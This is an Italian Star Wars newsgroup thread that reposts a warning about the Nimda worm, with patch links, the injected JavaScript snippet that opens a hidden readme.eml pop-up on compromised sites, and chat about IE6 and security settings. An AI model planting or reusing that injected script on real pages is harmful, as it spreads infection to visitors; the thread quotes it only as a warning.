Newsgroup: it.fan.starwars
Titolo: [OT] VIRUS

Copio/incollo un post di qualche giorno fa.
----------
Buonasera,
è attivo da oggi il nuovo worm che stà devastando migliaia di webserver e
client pc.
Per i server:
Vi consigliamo VIVAMENTE di procedere subito alla blindatura del webserver
con le relative patch che verranno presto rilasciate da Microsoft, ma
intanto per eliminare il virus presente vi consigliamo questi links:
http://www.mcafee.com/anti-virus/viruses/nimda/default.asp?cid=2444
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/ms00-078.asp
http://www.fsecure.com/v-descs/nimda.shtml
http://www.symantec.com/avcenter/venc/data/w32.n...@mm.html
Per i client
ATTENZIONE AI SITI CHE VISITATE !!!!!!!!!!!!
All'apertura delle pagine nel codice delle pagine dei siti compromessi che
visitate ci sono le righe:
<html><script language="JavaScript">
window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
</script></html>
che aprono un pop up semi nascosto nell'angolo in basso a destra che altro
non contiene che il file readme.eml che a sua volta contiene allegato il
file readme.exe che e' il file-virus di Nimda.
Se questi siti vengono aperti con Explorer automaticamente il
formato eml viene recuperato dal computer senza accorgersene e si rischia
in un attimo di infettarsi del virus; questo provoca la disseminazione in
OGNI CARTELLA DI TUTTI I PC CHE SONO IN LAN, DI UN FILE .eml contente
l'allegato readme.exe!!!!!!
-------------
--
- Mil -
"Io sono la tua coscienza, per questo mi temi"
[KAOS]

 č attivo da oggi il nuovo worm che stą devastando migliaia di webserver e


 ha scritto nel messaggio
news:XjEq7.12484$Lp6.4...@news.infostrada.it...

Consiglio di applicare la relativa patch a Internet Explorer (il service
pack 2 scaricabile dal sito della M$) o di installare la versione 6.
--
----------------------------------------------------------------
Via metti quell'arma, male non voglio farti
Skywalker Senior
Fondatore e unico membro del Consiglio del Lato Indeciso
(comincio a sentirmi un po' solo quì)
Già Jedi Bendu della Maestra Milady
Già Jedi Bendu del Cavaliere Brancaleone da Norcia
e-mail: 
skywalk...@inwind.it
Sito italiano: ???
Sito inglese: 
http://members.xoom.com/cbisti
Sito ufficiale di IFSW: 
http://itfanstarwars.shorturl.com/

 E allora?
Dipende.


 E allora?
Kuros, l'hai fatto tu, 'sto virus?
Gold E

 </script></html>
Esatto, e non solo ai siti perche' tale codice puo' anche essere mandato 
in una mail html. Outlook Express è impostato di default per eseguire  
script e controlli ActiveX, quindi consiglio a tutti coloro che lo usano 
di settare le opzioni di protezione in strumenti>opzioni>protezione 
aree di protezione: siti con restrizioni.
Viene usato lo schema di settaggi sulla sicurezza di Internet Explorer 
(strumenti>opzioni internet>protezione... a voler fare le cose per bene, 
scegliere siti con restrizioni, personalizza livello, e spuntare come 
comanda il buon senso...)
-- 
help Ð(e/u)sk

 pack 2 scaricabile dal sito della M$) o di installare la versione 6.
ho letto che winzoz xp che usa ie 6 non lascia andare su siti con java...
io l'ho provato ma senza potermi collegare
vorrei sapere prima di installare la 6 se i java li legge.
altrimenti mi tengo la 5.5 sp1
--
Giorgio Ravera®
Cavaliere Jedi del New Jedi Order
it.fan.starwars
------------------------------------------
Responsabile del sito con Dusk:
www.newjediorder.cjb.net
------------------------------------------
Creatore del Gioco di Ruolo su SW:
www.swgdr.cjb.net
------------------------------------------
Hompage personale:
www.ravera.cjb.net
------------------------------------------
Membro della comunità dei Webmaster:
www.risorse.net
------------------------------------------
In contatto telepatico con:
Shmi Skywalker
Tox Antilles
------------------------------------------
"Aiutarti io posso, davvero"


Qualcuno vede l'altro messaggio che ho postato in risposta a questo?? Io no!



Se mi dai un indirizzo di un sito che usa Java (non ho voglia di andarmelo a
cercare) te lo dico subito visto che ho installato IE6 ieri!


 Qualcuno vede l'altro messaggio che ho postato in risposta a questo?? Io
no!
Yes Sky
Bye
ES

 altrimenti mi tengo la 5.5 sp1
Non esattamente: quando vai su un sito con contenuti Java ti chiede di
scaricare e installare il Java Virtual Machine (5 MB). Poi funziona tutto.
--
«¤»¥«¤»§«¤»¥«¤»§«¤»¥«¤»§«¤»¥«¤»§«¤»¥«¤»§«¤»¥«¤»¥«¤»§«¤»¥«¤
Sirthan
Padawan del Lato Indeciso della Forza
Allievo della Jedi Master Milady
Osserva il Maestro
Segui il Maestro
Cammina col Maestro
Vedi attraverso il Maestro
Diventa il Maestro
sir...@hotmail.com
ICQ: 124260884
«¤»¥«¤»§«¤»¥«¤»§«¤»¥«¤»§«¤»¥«¤»§«¤»¥«¤»§«¤»¥«¤»¥«¤»§«¤»¥«¤

 Qualcuno vede l'altro messaggio che ho postato in risposta a questo?? Io
no!
Io neppure
--
Sirthan
ICQ: 124260884

Qualcuno vede l'altro messaggio che ho postato in risposta a questo?? Io no!
Io lo vedo!
Ciao
Alk
--
"Ecchisietevņi, paladino di Francia?"
___Italo Calvino___

Qualcuno vede l'altro messaggio che ho postato in risposta a questo?? Io no!
"Consiglio di applicare la relativa patch a Internet Explorer (il service"
"pack 2 scaricabile dal sito della M$) o di installare la versione 6."
E' Questo?
Allora non mi pare di averlo visto :-PPP


ROTFL!
Si, è lui... ma perché io non lo vedo? Mah!


 scaricare e installare il Java Virtual Machine (5 MB). Poi funziona tutto.
mi sembrava infatti strano.
chi avrebbe voluto una cosa simile?


 cercare) te lo dico subito visto che ho installato IE6 ieri!
prova questo sito
http://www.javascript.com/
grazie ciao!



Mah, a parte il fatto che mi ha bloccato diversi cookies (in base alle
impostazioni di restrizione di default) il resto ha funzionato normalmente.


 impostazioni di restrizione di default) il resto ha funzionato
normalmente.
ok allora appena posso me lo scarico e provo
ciao e grazie!


 chi avrebbe voluto una cosa simile?
Adesso magari dico una cazzata, ma Java non è di proprietà di MS se non
sbaglio, quindi immagino che le istruzioni Java vengano considerate come i
plug-in per Flash ad esempio.
L'IE 6 che uso è contenuto in WinXP, magari la release standalone permetterà
un installazione custom dalla quale inserire anche il Java Virtual Machine.


 Copio/incollo un post di qualche giorno fa.
Ma ben vengano i virus!!!
Mily, spediamone una tonnellata agli uffici dell'ISTAT!!!!
--
C.A.T.C.C.
Cellula Armata Tecnici Comunali Combattenti
"Nessuna statistica potra' avvolgere la nostra personalità" (bluverde)

 Mily, spediamone una tonnellata agli uffici dell'ISTAT!!!!
Hai presente il post originale di questo thread?
Il giorno dopo rispetto a quando l'ho postato io, in ufficio sono riusciti a
beccarlo sul server di rete!
(N.B.: ero in ferie, non li ho avvertiti...)
Tre uffici interi nel caos più totale.
Se tanto mi da tanto, il virus in questione l'hanno diffuso direttamente
quelli dell'ISTAT! ;-)


 quelli dell'ISTAT! ;-)
ROTFL!!!
--
Anakin
"Dark Lord"
"Non e' facile, ragazzo,
ingannare un nemico, ma
facile diventa tradire un amico"
                 (Teognide)
e-mail:             
anaki...@libero.it
    Togli 123 per rispondere
Home Page:    
http://www.geocities.com/Area51/Corridor/4603
IRC:                
irc.net36.com
  Porta: 6665  Canale: #guerrestellari

- Mil -
in versione "a casa,causa un fastidioso virus (40 di febbre)":
B.

 quelli dell'ISTAT! ;-)
ehehe, tutto puo' essere...
-- 
Šusk
"Microsoft IIS: where do you want to hack today?" :)